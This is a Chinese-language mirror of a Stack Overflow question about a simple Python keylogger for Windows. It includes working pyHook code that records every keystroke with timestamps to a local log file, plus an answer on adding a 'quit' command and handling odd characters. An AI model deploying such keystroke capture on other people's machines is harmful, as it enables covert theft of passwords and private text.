【问题标题】:Creating a Key Command in Python在 Python 中创建键盘命令
【发布时间】:2010-08-09 05:31:55
【问题描述】:

我正在根据我在网上找到的脚本编写自己的简单按键记录器。但是,我正在尝试编写一个键命令,以便在键入此命令时关闭记录器程序。我该怎么办? (我也知道它根本不安全,但这不是这个程序的问题)

例如 Ctrl + 'exit' 将关闭程序。

此外,它有时无法在它创建的 .log 文件中正确打印某些字符,这可能是什么原因造成的? (我认为字符编码类型可能会导致这个问题)

#Key Logger
#By: K.B. Carte
#Version 1.0
################

import pythoncom, pyHook, sys, logging, time


LOG_FILENAME = 'C:\KeyLog\log.out'



def OnKeyboardEvent(event):
    keytime = time.strftime('%I:%M %S %p        %A %B %d, %Y            ')
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')

    logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

这是在 Windows 7 中,顺便说一句。

【问题讨论】:

    标签: python windows keylogger


    【解决方案1】:

    要通过某个命令关闭它,请说“退出”...您想创建一个缓冲区...。如果您将所有登录信息都保存在缓冲区中,您可以轻松做到

    buff += newkeypress
    if "quit" in buff[-4:]:
        logfile.close()
        sys.exit(0)
    

    或者您可以使用列表.. 或其他类型的循环缓冲区执行附加/弹出操作

    对于时髦字符,您可能最终只想将整个内容打印为十六进制 .. 或忽略小于 ascii 0 的事件(例如 \b 和其他时髦字符)

    或者..创建一个ascii表(字典)并记录键的匹配,所以如果你得到\b你记录'',如果你得到'0'你记录'0'

    【讨论】:

    • 我怎样才能让它 Ctrl 键然后输入“退出”?
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2020-01-08
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2013-08-01
    • 1970-01-01
    相关资源
    最近更新 更多